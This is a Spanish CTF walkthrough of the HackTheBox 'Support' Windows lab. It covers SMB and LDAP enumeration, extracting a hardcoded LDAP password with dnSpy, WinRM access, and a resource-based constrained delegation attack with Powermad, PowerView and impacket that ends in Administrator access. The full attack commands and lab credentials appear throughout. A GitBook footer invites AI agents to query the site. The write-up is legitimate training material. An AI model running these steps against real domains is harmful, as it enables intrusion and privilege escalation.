> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/windows-easy/support-hackthebox-writeup.md). # Guía de HackTheBox Support Guía de la máquina HackTheBox Support Fácil Windows que cubre enumeración SMB, análisis binario EXE, depuración con DNSpy, establecimiento de puntos de interrupción y obtención de una contraseña LDAP en texto claro (DNSpy), con prácti {% embed url="" %} {% hint style="warning" %} **Habilidades:** * Enumeración SMB * Análisis binario EXE * Depuración con DNSpy * Establecer puntos de interrupción y obtener una contraseña LDAP en texto claro (DNSpy) * Enumeración de usuarios Kerberos (kerbrute) * Enumeración LDAP (ldapsearch) * Filtración de información * Abuso del grupo Remote Management Users (Evil-WinRM) * Enumeración con SharpHound + BloodHound * Abuso de cuentas compartidas de soporte (GenericAll) (ataque RBCD) (delegación restringida basada en recursos) * Ataque de delegación restringida basada en recursos - Creación de un objeto de equipo (powermad.ps1) * Ataque de delegación restringida basada en recursos - PowerView\.ps1 * Ataque de delegación restringida basada en recursos - Obtención del ticket de servicio impersonado (getST.py) * Usar el ticket para obtener acceso de Administrador (escalada de privilegios) {% endhint %} ## Reconocimiento **Configuración del espacio de trabajo:** Configura el espacio de trabajo creando tres carpetas para almacenar contenido importante, exploits y resultados de reconocimiento de Nmap.

#### **Comprobación de conectividad VPN** Comprueba la conectividad VPN para garantizar una comunicación estable con la máquina objetivo.

**Descubrimiento de puertos abiertos con Nmap:** ```bash nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.174 -oG allPorts ```

**Escaneo de la versión de los puertos con Nmap:** Uso de Nmap para escanear la versión de los puertos y extraer información en el archivo "targeted": ```bash nmap -sCV -p88,135,139,389,445,464,593,636,3268,3269,5985,9389,49664,49667,49679,49757,53952 10.10.11.174 -oN targeted ```

## **Enumeración del DC:** ### Listar SMB: Uso de CrackMapExec para la enumeración SMB. ```bash crackmapexec smb 10.10.11.174 ```

Para resolver nombres de dominio a direcciones IP mediante DNS, el nombre de dominio asociado con su dirección IP se inserta en el `/etc/hosts` archivo

### **Lista de Kerberos:** Uso de Kerbrute para enumerar usuarios. ```bash kerbrute userenum -d support.htb --dc 10.10.11.174 /usr/share/SecLists/Usernames/xato-net-10-million-usernames.txt ```

### **Exploración de recursos compartidos de red:** Buscar carpetas compartidas en la red. ```bash smbmap -H 10.10.11.174 -u none ```

```bash smbclient //10.10.11.174/support-tools -N ```

Descubrimos un archivo zip interesante llamado "UserInfo-exe-zip". Para continuar, usamos el `get` comando para descargarlo en nuestra máquina.

### /*/* Análisis de archivo binario de Windows\:/*/* Vamos a ejecutar un archivo ejecutable de Windows en una máquina equipada con Windows. Para hacerlo, necesitamos: 1. Transferir archivo ZIP

2. Migración de la configuración de VPN 3. `/etc/hosts` Configuración

Para ejecutar el binario e identificar a todos los usuarios válidos, solo introduce el siguiente comando ```bash ./UserInfo.exe find -first * -last * ``` #### Este binario nos permitirá enumerar usuarios.

#### Análisis del archivo binario de Windows descargado con DNspy. {% embed url="" %}

### **Extracción de una contraseña en texto claro:** Uso de DNspy para extraer una contraseña en texto claro de un binario de Windows.

Ejecutaremos el programa, pero nos detendremos solo en la sección donde el texto está en claro.

Aquí está la contraseña LDAP:

### **Verificación de la contraseña LDAP:** Comprobación de la contraseña extraída con CrackMapExec. ```bash crackmapexec smb 10.10.11.174 -u 'ldap' -p 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' ```

### Lista del dominio: ```bash rpcclient -U 'ldap%nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' 10.10.11.174 ``` #### Usuarios del dominio ``` enumdomusers ```

#### Grupos del dominio ```bash enumdomgroups ```

#### Descripciones de usuarios: ```bash querydispinfo ```

#### Insertar todos los usuarios válidos del dominio en un archivo. ```bash rpcclient -U 'ldap%nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' 10.10.11.174 -c 'enumdomusers' | grep -oP '/[.*?/]' | grep -v 0x |tr -d '[]' ```

#### Ahora comprobaremos si la contraseña LDAP se reutiliza para alguno de los siguientes usuarios: ```bash crackmapexec smb 10.10.11.174 -u users -p 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' --continue-on-success ``` Sin embargo, esto no funciona.

### **Listado de LDAP:** {% embed url="" %} #### Uso de la búsqueda LDAP para enumerar información. ```bash ldapsearch -x -H ldap://10.10.11.174 -D 'support.htb/ldap' -w 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' -b "DC=<1_SUBDOMAIN>,DC=" ``` #### Hay muchos datos disponibles; sin embargo, al aplicar un filtro a la información de la canción, se descubre una contraseña para el usuario support. ```bash ldapsearch -x -H ldap://10.10.11.174 -D 'ldap@support.htb' -w 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' -b "DC=support,DC=htb" | grep -i "info:" -B 20 ```

## **Explotación:** #### Usar CrackMapExec para confirmar la contraseña asociada a la cuenta support. ```bash crackmapexec smb 10.10.11.174 -u 'support' -p 'Ironside47pleasure40Watchful' ``` Este usuario forma parte del grupo de usuarios de administración remota, lo que nos permite conectarnos mediante Windows Remote Management (WinRM). ```bash evil-winrm -i 10.10.11.174 -u 'support' -p 'Ironside47pleasure40Watchful' ``` ### **Uso de Evil-WinRM:** Conectarse al sistema objetivo mediante Evil-WinRM usando la información obtenida.

## Escalada de privilegios ### **Revisión de privilegios actuales:**
Usando las `whoami /priv` comando para comprobar los privilegios del usuario, sin éxito.

### **Análisis de grupos de pertenencia:** Usando las `net user support` comando para inspeccionar los grupos a los que pertenece el usuario. Descubrimiento de un grupo aparentemente poco común, "shared support accounts".

### **Uso de BloodHound para el análisis de privilegios:** #### Uso de la herramienta BloodHound para mapear relaciones de acceso. {% embed url="" %}

### **Ejecución de SharpHound para un análisis adicional:** Uso de SharpHound, una herramienta complementaria de BloodHound, para recopilar datos adicionales sobre las relaciones de acceso. ```powershell ./SharpHound.exe -c All ```

## Vulnerabilidad: ataque de delegación restringida basada en recursos: {% embed url="" %} ### **Identificación de la vulnerabilidad: ataque de delegación restringida basada en recursos:**

#### Despliegue del script Powermad para crear una cuenta de máquina. {% embed url="" %} ```powershell upload Powemad.ps1 Import-Module ./Powermad.ps1 New-MachineAccount -MachineAccount SERVICEA -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose ``` #### Uso de PowerView para comprobar la creación de la cuenta de máquina. {% embed url="" %} ```powershell upload PowerView.ps1 Import-Module ./PowerView.ps1 ```

#### Definición de autorizaciones para la cuenta de máquina usando comandos de PowerShell. ```powershell $ComputerSid = Get-DomainComputer SERVICEA -Properties objectsid | Select -Expand objectsid $SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$ComputerSid)" $SDBytes = New-Object byte[] ($SD.BinaryLength) $SD.GetBinaryForm($SDBytes, 0) Get-DomainComputer dc | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} ``` #### Con este comando, comprobamos si todo el procedimiento 'Get-DomainComputer dc' funciona usando las propiedades 'msds-allowedtoactonbehalfofotheridentity'.

### **Explotación de la vulnerabilidad** #### Uso de la herramienta Impacket para ejecutar el `getST` comando para obtener un ticket TGT que suplanta al usuario Administrator. ```bash impacket-getST -spn cifs/dc.support.htb -impersonate Administrator -dc-ip 10.10.11.174 support.htb/SERVICEA$:123456 ```

#### Configura el entorno Kerberos de Administrator exportando `KRB5CCNAME`y luego conéctate al sistema objetivo usando Impacket `psexec`.
```bash export KRB5CCNAME=Administrator.ccache impacket-psexec -k dc.support.htb ```

### Bandera final :)

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/windows-easy/support-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.